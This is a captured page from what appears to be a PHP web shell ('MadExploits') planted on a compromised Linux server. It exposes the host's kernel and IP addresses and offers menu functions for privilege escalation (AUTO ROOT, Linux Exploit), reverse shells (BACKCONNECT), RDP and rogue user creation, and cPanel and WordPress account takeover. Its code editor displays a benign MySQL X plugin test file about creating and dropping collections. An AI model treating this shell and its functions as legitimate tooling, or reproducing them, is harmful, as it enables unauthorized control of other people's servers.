Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.191.222.230
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
mysql /
mysql-test /
suite /
x /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
macros
[ DIR ]
drwxr-xr-x
admin_bogus.test
600
B
-rw-r--r--
admin_bogus_mysqlx.test
597
B
-rw-r--r--
admin_create_collection.test
3.29
KB
-rw-r--r--
admin_create_collection_mysqlx...
2.67
KB
-rw-r--r--
admin_create_index_datetime.te...
5.15
KB
-rw-r--r--
admin_create_index_datetime_my...
2.6
KB
-rw-r--r--
admin_create_index_string.test
12.03
KB
-rw-r--r--
admin_create_index_string_mysq...
3.29
KB
-rw-r--r--
admin_ensure_collection.test
4.51
KB
-rw-r--r--
admin_ensure_collection_mysqlx...
3.7
KB
-rw-r--r--
admin_kill.test
2.36
KB
-rw-r--r--
admin_kill_client_mysqlx.test
1.69
KB
-rw-r--r--
admin_list_objects.test
2.57
KB
-rw-r--r--
admin_list_objects_case_insens...
577
B
-rw-r--r--
admin_list_objects_case_insens...
735
B
-rw-r--r--
admin_list_objects_case_sensit...
353
B
-rw-r--r--
admin_list_objects_case_sensit...
27
B
-rw-r--r--
admin_list_objects_case_sensit...
394
B
-rw-r--r--
admin_list_objects_mysqlx.test
2.59
KB
-rw-r--r--
admin_ping.test
484
B
-rw-r--r--
admin_ping_mysqlx.test
1.21
KB
-rw-r--r--
admin_xkill.test
44.87
KB
-rw-r--r--
binary_log-master.opt
110
B
-rw-r--r--
binary_log.test
1.2
KB
-rw-r--r--
bug_23028052.test
2.56
KB
-rw-r--r--
capabilities-master.opt
42
B
-rw-r--r--
capabilities.test
10.19
KB
-rw-r--r--
client_close.test
8.23
KB
-rw-r--r--
client_close_abort.test
1.93
KB
-rw-r--r--
client_session.test
1.61
KB
-rw-r--r--
connection.test
31.38
KB
-rw-r--r--
connection_default_schema.test
2.3
KB
-rw-r--r--
connection_expire.test
7.4
KB
-rw-r--r--
connection_expired_certs-maste...
167
B
-rw-r--r--
connection_expired_certs.test
677
B
-rw-r--r--
connection_ipv6-master.opt
35
B
-rw-r--r--
connection_ipv6.test
5.39
KB
-rw-r--r--
connection_nonssl-master.opt
42
B
-rw-r--r--
connection_nonssl.test
5.97
KB
-rw-r--r--
connection_openssl-master.opt
273
B
-rw-r--r--
connection_openssl.test
70
B
-rw-r--r--
connection_require_secure_tran...
2.77
KB
-rw-r--r--
connection_reset_by_peer.test
1.01
KB
-rw-r--r--
connection_skip_grant_table.te...
2.88
KB
-rw-r--r--
connection_skip_networking.tes...
3.21
KB
-rw-r--r--
connection_skip_networking_win...
57
B
-rw-r--r--
connection_skip_networking_win...
1.77
KB
-rw-r--r--
connection_timeout.test
2.72
KB
-rw-r--r--
connection_tls_version-master....
300
B
-rw-r--r--
connection_tls_version.test
4.47
KB
-rw-r--r--
connection_unixsocket.test
6.81
KB
-rw-r--r--
connection_unixsocket_invalid....
7.29
KB
-rw-r--r--
connection_unixsocket_lock.tes...
3.15
KB
-rw-r--r--
connection_unixsocket_rpl.test
7.17
KB
-rw-r--r--
connection_user_authentication...
89
B
-rw-r--r--
connection_user_authentication...
85
B
-rw-r--r--
connection_without_session.tes...
464
B
-rw-r--r--
connection_yassl-master.opt
272
B
-rw-r--r--
create_alter_sql.test
7.07
KB
-rw-r--r--
create_drop_collection_crud.te...
17.36
KB
-rw-r--r--
create_index_crud.test
23.75
KB
-rw-r--r--
crud_asterisk.test
1.65
KB
-rw-r--r--
crud_create_view-master.opt
31
B
-rw-r--r--
crud_create_view.test
5.47
KB
-rw-r--r--
crud_debug.test
6.46
KB
-rw-r--r--
crud_delete_args.test
2.16
KB
-rw-r--r--
crud_doc_criteria_args.test
21.18
KB
-rw-r--r--
crud_doc_expr_array.test
14.41
KB
-rw-r--r--
crud_doc_expr_object.test
6.69
KB
-rw-r--r--
crud_drop_view.test
1.12
KB
-rw-r--r--
crud_find_args.test
5.47
KB
-rw-r--r--
crud_find_doc_criteria.test
3.17
KB
-rw-r--r--
crud_find_doc_groupby.test
5.82
KB
-rw-r--r--
crud_find_groupby.test
8.13
KB
-rw-r--r--
crud_insert_args.test
2.01
KB
-rw-r--r--
crud_insert_cast.test
8.81
KB
-rw-r--r--
crud_insert_default.test
2.52
KB
-rw-r--r--
crud_insert_expr.test
2.66
KB
-rw-r--r--
crud_insert_nodoc.test
814
B
-rw-r--r--
crud_modify_view.test
2.4
KB
-rw-r--r--
crud_myisam_memory.test
9
KB
-rw-r--r--
crud_octets_content_type.test
2.35
KB
-rw-r--r--
crud_order_by.test
1.47
KB
-rw-r--r--
crud_pipe.test
4.18
KB
-rw-r--r--
crud_resultset_metadata.test
965
B
-rw-r--r--
crud_rpl.test
6.69
KB
-rw-r--r--
crud_sundries.test
20.07
KB
-rw-r--r--
crud_table_criteria_args.test
17.61
KB
-rw-r--r--
crud_table_expr_array.test
14.32
KB
-rw-r--r--
crud_table_expr_object.test
5.9
KB
-rw-r--r--
crud_update_args.test
3.37
KB
-rw-r--r--
crud_update_table_json.test
7.16
KB
-rw-r--r--
crud_view_sundries.test
2.95
KB
-rw-r--r--
delete_crud_1.test
6.81
KB
-rw-r--r--
delete_crud_o.test
23.94
KB
-rw-r--r--
delete_del_all.test
1.5
KB
-rw-r--r--
delete_del_bad_collection.test
1.98
KB
-rw-r--r--
delete_del_bad_expr.test
1.83
KB
-rw-r--r--
delete_del_missing_arg.test
1.81
KB
-rw-r--r--
delete_del_multi_by_expr.test
1.88
KB
-rw-r--r--
delete_del_multi_by_id.test
1.55
KB
-rw-r--r--
delete_del_none_by_expr.test
1.88
KB
-rw-r--r--
delete_del_none_table.test
2.41
KB
-rw-r--r--
delete_del_one_by_expr.test
2.38
KB
-rw-r--r--
delete_del_table.test
1.78
KB
-rw-r--r--
delete_del_table_doc.test
2.94
KB
-rw-r--r--
delete_del_table_order.test
2.32
KB
-rw-r--r--
delete_sql_o.test
7.77
KB
-rw-r--r--
disabled.def
259
B
-rw-r--r--
drop_index_crud.test
26.67
KB
-rw-r--r--
expect_noerror.test
5.51
KB
-rw-r--r--
fieldtypes_all.test
6.1
KB
-rw-r--r--
find_crud_conditionalclauses_o...
24.24
KB
-rw-r--r--
find_crud_groupby_o.test
16.22
KB
-rw-r--r--
find_doc_proj.test
8.52
KB
-rw-r--r--
find_doc_simple.test
5.28
KB
-rw-r--r--
find_docpath_expr.test
5.09
KB
-rw-r--r--
find_funtion_call.test
34.5
KB
-rw-r--r--
find_table_find.test
5.18
KB
-rw-r--r--
find_table_find_as_doc.test
4.5
KB
-rw-r--r--
find_table_find_rows_proj.test
5.3
KB
-rw-r--r--
forbidden_sql_cmd.test
1.28
KB
-rw-r--r--
input_queue.test
3.81
KB
-rw-r--r--
insert_crud_1.test
16.11
KB
-rw-r--r--
insert_crud_o.test
25.09
KB
-rw-r--r--
insert_doc_bad_proj.test
1.79
KB
-rw-r--r--
insert_doc_id.test
1.74
KB
-rw-r--r--
insert_doc_id_dup.test
2.61
KB
-rw-r--r--
insert_doc_noid.test
1.72
KB
-rw-r--r--
insert_sql_o.test
5.24
KB
-rw-r--r--
insert_table.test
8.29
KB
-rw-r--r--
insert_table_bad_column.test
2.27
KB
-rw-r--r--
insert_table_bad_column_type.t...
5.1
KB
-rw-r--r--
insert_table_bad_numcolumns.te...
5.39
KB
-rw-r--r--
insert_table_escape_identifier...
1.19
KB
-rw-r--r--
insert_table_missing_notnull_c...
1.17
KB
-rw-r--r--
insert_table_string_quoting.te...
1.31
KB
-rw-r--r--
installxplugin.test
11.13
KB
-rw-r--r--
killconnection.test
4.78
KB
-rw-r--r--
message_empty_payload.test
1.42
KB
-rw-r--r--
message_protobuf_nested-master...
31
B
-rw-r--r--
message_protobuf_nested.test
2.55
KB
-rw-r--r--
multiple_resultsets_and_out_pa...
4.72
KB
-rw-r--r--
mysql_session_user.test
2.91
KB
-rw-r--r--
mysqlx_server_var.test
6.25
KB
-rw-r--r--
mysqlxtest_help.test
620
B
-rw-r--r--
notice_warning.test
2.61
KB
-rw-r--r--
notice_warning_mysqlx.test
2.14
KB
-rw-r--r--
notices_disable-master.opt
53
B
-rw-r--r--
notices_disable.test
31.05
KB
-rw-r--r--
notices_disable_mysqlx-master....
53
B
-rw-r--r--
notices_disable_mysqlx.test
21.94
KB
-rw-r--r--
notices_enable-master.opt
86
B
-rw-r--r--
notices_enable.test
33.99
KB
-rw-r--r--
notices_enable_mysqlx-master.o...
86
B
-rw-r--r--
notices_enable_mysqlx.test
25.1
KB
-rw-r--r--
performance_schema-master.opt
167
B
-rw-r--r--
performance_schema.test
20.09
KB
-rw-r--r--
performance_schema_memory.test
5.61
KB
-rw-r--r--
performance_schema_sockets-mas...
167
B
-rw-r--r--
performance_schema_sockets.tes...
8.59
KB
-rw-r--r--
performance_schema_threads-mas...
211
B
-rw-r--r--
performance_schema_threads.tes...
2.26
KB
-rw-r--r--
performance_schema_unixsockets...
8.41
KB
-rw-r--r--
plugin_license.test
613
B
-rw-r--r--
regression-master.opt
82
B
-rw-r--r--
regression.test
4.74
KB
-rw-r--r--
result_types.test
896
B
-rw-r--r--
session_reset.test
2.18
KB
-rw-r--r--
status_bytes_received.test
2.04
KB
-rw-r--r--
status_variable_errors_unknown...
31
B
-rw-r--r--
status_variable_errors_unknown...
3.15
KB
-rw-r--r--
status_variable_notices.test
751
B
-rw-r--r--
status_variables-master.opt
42
B
-rw-r--r--
status_variables.test
13.86
KB
-rw-r--r--
status_variables_incrementing....
2.52
KB
-rw-r--r--
stmtexecute_query_no_result.te...
1.07
KB
-rw-r--r--
stmtexecute_query_result.test
1.45
KB
-rw-r--r--
stmtexecute_status_vars.test
18.41
KB
-rw-r--r--
stmtexecute_with_args.test
5.27
KB
-rw-r--r--
suite.opt
30
B
-rw-r--r--
system_variable_bind_address.t...
2.27
KB
-rw-r--r--
system_variable_max_allowed_pa...
31
B
-rw-r--r--
system_variable_max_allowed_pa...
1.6
KB
-rw-r--r--
system_variable_min_worker_thr...
709
B
-rw-r--r--
system_variable_port_open_time...
6.79
KB
-rw-r--r--
system_variables.test
4.18
KB
-rw-r--r--
update_crud_arrayappend_o.test
17.02
KB
-rw-r--r--
update_crud_arrayinsert_o.test
21.96
KB
-rw-r--r--
update_crud_itemmerge_o.test
16.5
KB
-rw-r--r--
update_crud_o.test
31.18
KB
-rw-r--r--
update_crud_remove_o.test
14.41
KB
-rw-r--r--
update_crud_replace_o.test
18.42
KB
-rw-r--r--
update_doc.test
22.58
KB
-rw-r--r--
update_sql_o.test
5.23
KB
-rw-r--r--
update_table.test
9.51
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : create_drop_collection_crud.test
########### ../t/create_drop_collection_crud.test ######### ## # ## This test runs aims to run CREATE/DROP statement # ## with mysqlxtest client. # ## Test covers # ## - Create collection with crud calls # ## - plain create table # ## - create table in different database with same name # ## - change parameters order of create collection # ## - alter and verify table created using xmessage # ## - Access denied for user has restricted access # ## - insert rejected when docc column does not have _id key # ## required for table table created using create_collection # ## Negative case # ## - xmessage with empty args # ## - xmessage with more than required args , invalid args type # ## - try create table with existing name # ## - Drop collection # # - drop table created using xmessage and sql # # - negative : drop non existing table # ## # ####################################################################### --source ../include/xplugin_preamble.inc call mtr.add_suppression("Error parsing message of type 12: args"); call mtr.add_suppression("Error handling message: args"); ## Test starts here --write_file $MYSQL_TMP_DIR/mysqlx-in.tmp -->sql -- "Creating database for testcase" DROP DATABASE IF EXISTS xplugintest; DROP DATABASE IF EXISTS xplugintest_1; CREATE DATABASE xplugintest; CREATE DATABASE xplugintest_1; USE xplugintest; CREATE TABLE table1 ( _id INT , doc JSON ) ; -->endsql -- "Create table table2 in xplugintest " Mysqlx.Sql.StmtExecute { stmt: "create_collection" args { type: SCALAR scalar { type: V_STRING v_string { value: "xplugintest" } } } args { type: SCALAR scalar { type: V_STRING v_string { value: "table2" } } } namespace: "xplugin" } -->recvresult -- "Create same name table table2 in xplugintest1 " Mysqlx.Sql.StmtExecute { stmt: "create_collection" args { type: SCALAR scalar { type: V_STRING v_string { value: "xplugintest_1" } } } args { type: SCALAR scalar { type: V_STRING v_string { value: "table2" } } } namespace: "xplugin" } -->recvresult -- "Verify created tables" -->sql SHOW TABLES; SHOW CREATE TABLE table1; SHOW CREATE TABLE table2; SHOW CREATE TABLE xplugintest_1.table2; INSERT INTO table2 (doc) VALUES ('{"a":1,"_id":[100,200]}'); SELECT * FROM table2; -- "Alter document table created with crud" ALTER TABLE table2 ADD COLUMN col1 INT ; SELECT * FROM table2; SHOW CREATE TABLE table1; SHOW CREATE TABLE table2; -- "_id column value generated from doc column" INSERT INTO table2 (doc,col1) VALUES ('{"a":2,"_id":[300,400]}',300); SELECT * FROM table2; -- "_id is null as _id is not provided as key in json doc" -- "Insert is rejected as _id can not be null" -->endsql -->expecterror ER_BAD_NULL_ERROR -->sql INSERT INTO table2 (doc,col1) VALUES ('{"a":3,"b":[400,400]}',400); SELECT * FROM table2; -->endsql -- "Try insert using insert crud" -- "Insert is rejected as _id can not be null" Mysqlx.Crud.Insert { collection { name: "table2" schema: "xplugintest" } data_model: DOCUMENT row { field { type: LITERAL literal { type: V_STRING v_string { value: "{\"a\":3,\"b\":[500,500]}" } } } } } ## error -->recv -->sql SELECT * FROM table2; ALTER TABLE table2 DROP COLUMN _id; INSERT INTO table2 (doc,col1) VALUES ('{"a":4,"b":[400,400]}',400); -->endsql -- "Now insert go through as we dropped _id column " Mysqlx.Crud.Insert { collection { name: "table2" schema: "xplugintest" } data_model: DOCUMENT row { field { type: LITERAL literal { type: V_STRING v_string { value: "{\"a\":5,\"b\":[500,500]}" } } } } } -->recvresult -->sql SELECT * FROM table2; SHOW CREATE TABLE table2; -->endsql -- "Drop table" -->sql DROP TABLE table2; -->endsql -- "Change order namespace , stmt " Mysqlx.Sql.StmtExecute { namespace: "xplugin" stmt: "create_collection" args { type: SCALAR scalar { type: V_STRING v_string { value: "xplugintest" } } } args { type: SCALAR scalar { type: V_STRING v_string { value: "table2" } } } } -->recvresult -- "Show table" -->sql SHOW CREATE TABLE table2; CREATE TABLE table2_tmp ( col1 INT); -->endsql -- "Drop table created using create_collection message" Mysqlx.Sql.StmtExecute { stmt: "drop_collection" args { type: SCALAR scalar { type: V_STRING v_string { value: "xplugintest" } } } args { type: SCALAR scalar { type: V_STRING v_string { value: "table2" } } } namespace: "xplugin" } -->recvresult -- "Drop table created using sql" Mysqlx.Sql.StmtExecute { stmt: "drop_collection" args { type: SCALAR scalar { type: V_STRING v_string { value: "xplugintest" } } } args { type: SCALAR scalar { type: V_STRING v_string { value: "table2_tmp" } } } namespace: "xplugin" } -->recv -->expecterror ER_NO_SUCH_TABLE -->sql SHOW CREATE TABLE table2; -->endsql -- "Try to drop same table again" Mysqlx.Sql.StmtExecute { stmt: "drop_collection" args { type: SCALAR scalar { type: V_STRING v_string { value: "xplugintest" } } } args { type: SCALAR scalar { type: V_STRING v_string { value: "table2" } } } namespace: "xplugin" } ## reuslt -->recv -- "Try drop table from unkown database" Mysqlx.Sql.StmtExecute { stmt: "drop_collection" args { type: SCALAR scalar { type: V_STRING v_string { value: "xplugintest_non_existing" } } } args { type: SCALAR scalar { type: V_STRING v_string { value: "table2" } } } namespace: "xplugin" } -->recv -- "Incorrect args to drop_collection" Mysqlx.Sql.StmtExecute { stmt: "drop_collection" args { type: SCALAR scalar { type: V_STRING v_string { value: "xplugintest" } } } namespace: "xplugin" } -->recv -- "Invalid arg type" Mysqlx.Sql.StmtExecute { stmt: "drop_collection" args { type: OBJECT scalar { type: V_STRING v_string { value: "xplugintest" } } } args { type: SCALAR scalar { type: V_STRING v_string { value: "table2" } } } namespace: "xplugin" } -->recv EOF --exec $MYSQLXTEST -u root --password='' --file=$MYSQL_TMP_DIR/mysqlx-in.tmp 2>&1 --remove_file $MYSQL_TMP_DIR/mysqlx-in.tmp --write_file $MYSQL_TMP_DIR/mysqlx-in.tmp -- "Create table using namespace=sql " Mysqlx.Sql.StmtExecute { namespace: "sql" stmt: "create table xplugintest.table_sql ( doc JSON ) " } -->recvresult -- "show table & drop it" -->sql SHOW CREATE TABLE xplugintest.table_sql; INSERT INTO xplugintest.table_sql (doc) VALUES ('{"_id":"200"}'); SELECT * FROM xplugintest.table_sql; DROP TABLE xplugintest.table_sql; -->endsql EOF --exec $MYSQLXTEST -u root --password='' --file=$MYSQL_TMP_DIR/mysqlx-in.tmp 2>&1 --remove_file $MYSQL_TMP_DIR/mysqlx-in.tmp --write_file $MYSQL_TMP_DIR/mysqlx-in.tmp -- "Create table when user has no priviledge" -- "step 1 - create user1 with limied access" -->sql CREATE USER 'user1'@'localhost' identified by ''; GRANT USAGE ON *.* TO 'user1'@'localhost'; CREATE DATABASE xplugintest_user_access; -->endsql EOF --exec $MYSQLXTEST -u root --password='' --file=$MYSQL_TMP_DIR/mysqlx-in.tmp 2>&1 --remove_file $MYSQL_TMP_DIR/mysqlx-in.tmp --write_file $MYSQL_TMP_DIR/mysqlx-in.tmp -- "step 2 - try to create table using user1" Mysqlx.Sql.StmtExecute { namespace: "xplugin" stmt: "create_collection" args { type: SCALAR scalar { type: V_STRING v_string { value: "xplugintest_user_access" } } } args { type: SCALAR scalar { type: V_STRING v_string { value: "table1" } } } } ## Error -->expecterror ER_TABLEACCESS_DENIED_ERROR -->recvresult -- "show table " -->expecterror ER_TABLEACCESS_DENIED_ERROR -->sql SHOW CREATE TABLE xplugintest_user_access.table1; -->endsql EOF --exec $MYSQLXTEST -u user1 --password='' --file=$MYSQL_TMP_DIR/mysqlx-in.tmp 2>&1 --remove_file $MYSQL_TMP_DIR/mysqlx-in.tmp --write_file $MYSQL_TMP_DIR/mysqlx-in.tmp -- "step 3 - clean user and database" -->expecterror ER_NO_SUCH_TABLE -->sql SHOW CREATE TABLE xplugintest_user_access.table1; DROP USER 'user1'@'localhost'; DROP DATABASE xplugintest_user_access; -->endsql EOF --exec $MYSQLXTEST -u root --password='' --file=$MYSQL_TMP_DIR/mysqlx-in.tmp 2>&1 --remove_file $MYSQL_TMP_DIR/mysqlx-in.tmp --write_file $MYSQL_TMP_DIR/mysqlx-in.tmp -- "Negative cases" -- "1 empty args" Mysqlx.Sql.StmtExecute { namespace: "xplugin" stmt: "create_collection" args { } args { } } ## error -->expecterror ER_X_INVALID_NAMESPACE -->recvresult EOF --error 1 --exec $MYSQLXTEST -u root --password='' --file=$MYSQL_TMP_DIR/mysqlx-in.tmp >$MYSQL_TMP_DIR/mysqlx-out.tmp 2>&1 --remove_file $MYSQL_TMP_DIR/mysqlx-in.tmp --remove_file $MYSQL_TMP_DIR/mysqlx-out.tmp --write_file $MYSQL_TMP_DIR/mysqlx-in.tmp -- "2 more than two args" Mysqlx.Sql.StmtExecute { namespace: "xplugin" stmt: "create_collection" args { type: SCALAR scalar { type: V_STRING v_string { value: "xplugintest" } } } args { type: SCALAR scalar { type: V_STRING v_string { value: "table3" } } } args { type: SCALAR scalar { type: V_STRING v_string { value: "table4" } } } } -->expecterror ER_X_CMD_NUM_ARGUMENTS -->recvresult EOF --exec $MYSQLXTEST -u root --password='' --file=$MYSQL_TMP_DIR/mysqlx-in.tmp 2>&1 --remove_file $MYSQL_TMP_DIR/mysqlx-in.tmp --write_file $MYSQL_TMP_DIR/mysqlx-in.tmp -- "3 invalid namespace " Mysqlx.Sql.StmtExecute { namespace: "Invalid" stmt: "create_collection" args { type: SCALAR scalar { type: V_STRING v_string { value: "xplugintest" } } } args { type: SCALAR scalar { type: V_STRING v_string { value: "table2" } } } } ## error -->expecterror ER_X_INVALID_NAMESPACE -->recvresult EOF --exec $MYSQLXTEST -u root --password='' --file=$MYSQL_TMP_DIR/mysqlx-in.tmp 2>&1 --remove_file $MYSQL_TMP_DIR/mysqlx-in.tmp --write_file $MYSQL_TMP_DIR/mysqlx-in.tmp -- "Non existing database " Mysqlx.Sql.StmtExecute { namespace: "xplugin" stmt: "create_collection" args { type: SCALAR scalar { type: V_STRING v_string { value: "non_existing" } } } args { type: SCALAR scalar { type: V_STRING v_string { value: "table2" } } } } ## error -->expecterror ER_BAD_DB_ERROR -->recvresult EOF --exec $MYSQLXTEST -u root --password='' --file=$MYSQL_TMP_DIR/mysqlx-in.tmp 2>&1 --remove_file $MYSQL_TMP_DIR/mysqlx-in.tmp --write_file $MYSQL_TMP_DIR/mysqlx-in.tmp -- "NULL Table name " Mysqlx.Sql.StmtExecute { namespace: "xplugin" stmt: "create_collection" args { type: SCALAR scalar { type: V_STRING v_string { value: "xplugintest" } } } args { type: SCALAR scalar { type: V_NULL } } } ## error -->expecterror ER_X_CMD_ARGUMENT_TYPE -->recvresult EOF --exec $MYSQLXTEST -u root --password='' --file=$MYSQL_TMP_DIR/mysqlx-in.tmp 2>&1 --remove_file $MYSQL_TMP_DIR/mysqlx-in.tmp --write_file $MYSQL_TMP_DIR/mysqlx-in.tmp -- "Invaild parameter in args" Mysqlx.Sql.StmtExecute { namespace: "xplugin" stmt: "create_collection" args { type: OBJECT scalar { type: V_STRING v_string { value: "xplugintest" } } } args { type: SCALAR scalar { type: V_STRING v_string { value: "table3" } } } } ## error -->expecterror ER_X_CMD_ARGUMENT_TYPE -->recvresult EOF --exec $MYSQLXTEST -u root --password='' --file=$MYSQL_TMP_DIR/mysqlx-in.tmp 2>&1 --remove_file $MYSQL_TMP_DIR/mysqlx-in.tmp --write_file $MYSQL_TMP_DIR/mysqlx-in.tmp -- "Create table with existing name" Mysqlx.Sql.StmtExecute { namespace: "xplugin" stmt: "create_collection" args { type: SCALAR scalar { type: V_STRING v_string { value: "xplugintest" } } } args { type: SCALAR scalar { type: V_STRING v_string { value: "table1" } } } } ## error -->expecterror ER_TABLE_EXISTS_ERROR -->recvresult EOF --exec $MYSQLXTEST -u root --password='' --file=$MYSQL_TMP_DIR/mysqlx-in.tmp 2>&1 --remove_file $MYSQL_TMP_DIR/mysqlx-in.tmp --write_file $MYSQL_TMP_DIR/mysqlx-in.tmp ## Cleanup -->sql DROP DATABASE IF EXISTS xplugintest; DROP DATABASE IF EXISTS xplugintest_1; -->endsql EOF --exec $MYSQLXTEST -u root --password='' --file=$MYSQL_TMP_DIR/mysqlx-in.tmp 2>&1 --remove_file $MYSQL_TMP_DIR/mysqlx-in.tmp # Try run create in parallel from two mysqlxtest # input file include xmessage and sql for create perl; my $dir = $ENV{'MYSQL_TMP_DIR'}; open ( OUTPUT, ">$dir/mysqlx-in.tmp") ; $message = <<"END_MESSAGE"; Mysqlx.Sql.StmtExecute { stmt: "create_collection" args { type: SCALAR scalar { type: V_STRING v_string { value: "xplugintest" } } } args { type: SCALAR scalar { type: V_STRING v_string { value: "table_name" } } } namespace: "xplugin" } END_MESSAGE print OUTPUT "-->sql\n"; print OUTPUT "CREATE DATABASE IF NOT EXISTS xplugintest;\n"; print OUTPUT "USE xplugintest;\n"; print OUTPUT "CREATE TABLE IF NOT EXISTS test_table ( col1 INT );\n"; print OUTPUT "-->endsql\n"; for ($i=1;$i<=30;$i++) { if ($i%5 == 0) { print OUTPUT "-->expecterror ER_SUCCESS,ER_TABLE_EXISTS_ERROR\n"; print OUTPUT "-->sql\n"; print OUTPUT "CREATE TABLE tab_".$i." (_id VARCHAR(32) GENERATED ALWAYS AS (JSON_UNQUOTE(JSON_EXTRACT(doc, '$._id'))) STORED NOT NULL,doc JSON ); ". "\n"; print OUTPUT "-->endsql\n"; }else { $str = $message; $replace = "tab_".$i; $find = "table_name"; $str =~ s/$find/$replace/g; print OUTPUT "$str\n"; print OUTPUT "-->expecterror ER_SUCCESS,ER_TABLE_EXISTS_ERROR\n"; print OUTPUT "-->recvresult\n"; } } print OUTPUT "-->sql\n"; print OUTPUT "INSERT INTO xplugintest.test_table VALUES (1);\n"; print OUTPUT "-->endsql\n"; close (OUTPUT); EOF --exec $MYSQLXTEST -u root --password='' --file=$MYSQL_TMP_DIR/mysqlx-in.tmp >$MYSQL_TMP_DIR/mysqlx-out.tmp 2>&1 & --exec $MYSQLXTEST -u root --password='' --file=$MYSQL_TMP_DIR/mysqlx-in.tmp >$MYSQL_TMP_DIR/mysqlx-out2.tmp 2>&1 let $wait_condition= select count(*)=2 from xplugintest.test_table; --source include/wait_condition.inc DROP DATABASE xplugintest; --remove_file $MYSQL_TMP_DIR/mysqlx-in.tmp --remove_file $MYSQL_TMP_DIR/mysqlx-out2.tmp --remove_file $MYSQL_TMP_DIR/mysqlx-out.tmp perl; my $dir = $ENV{'MYSQL_TMP_DIR'}; open ( OUTPUT, ">$dir/mysqlx-in.tmp") ; $message = <<"END_MESSAGE"; Mysqlx.Sql.StmtExecute { stmt: "ensure_collection" args { type: SCALAR scalar { type: V_STRING v_string { value: "xplugintest" } } } args { type: SCALAR scalar { type: V_STRING v_string { value: "table_name" } } } namespace: "xplugin" } END_MESSAGE print OUTPUT "-->sql\n"; print OUTPUT "CREATE DATABASE IF NOT EXISTS xplugintest;\n"; print OUTPUT "USE xplugintest;\n"; print OUTPUT "CREATE TABLE IF NOT EXISTS test_table ( col1 INT );\n"; print OUTPUT "-->endsql\n"; for ($i=1;$i<=30;$i++) { if ($i%5 == 0) { print OUTPUT "-->expecterror ER_SUCCESS,ER_TABLE_EXISTS_ERROR\n"; print OUTPUT "-->sql\n"; print OUTPUT "CREATE TABLE tab_".$i." (_id VARCHAR(32) GENERATED ALWAYS AS (JSON_UNQUOTE(JSON_EXTRACT(doc, '$._id'))) STORED NOT NULL,doc JSON ); ". "\n"; print OUTPUT "-->endsql\n"; }else { $str = $message; $replace = "tab_".$i; $find = "table_name"; $str =~ s/$find/$replace/g; print OUTPUT "$str\n"; print OUTPUT "-->expecterror ER_SUCCESS,ER_TABLE_EXISTS_ERROR\n"; print OUTPUT "-->recvresult\n"; } } print OUTPUT "-->sql\n"; print OUTPUT "INSERT INTO xplugintest.test_table VALUES (1);\n"; print OUTPUT "-->endsql\n"; close (OUTPUT); EOF --exec $MYSQLXTEST -u root --password='' --file=$MYSQL_TMP_DIR/mysqlx-in.tmp >$MYSQL_TMP_DIR/mysqlx-out.tmp 2>&1 & --exec $MYSQLXTEST -u root --password='' --file=$MYSQL_TMP_DIR/mysqlx-in.tmp >$MYSQL_TMP_DIR/mysqlx-out2.tmp 2>&1 let $wait_condition= select count(*)=2 from xplugintest.test_table; --source include/wait_condition.inc DROP DATABASE xplugintest; --remove_file $MYSQL_TMP_DIR/mysqlx-in.tmp --remove_file $MYSQL_TMP_DIR/mysqlx-out2.tmp --remove_file $MYSQL_TMP_DIR/mysqlx-out.tmp # ## Postamble UNINSTALL PLUGIN mysqlx;
Close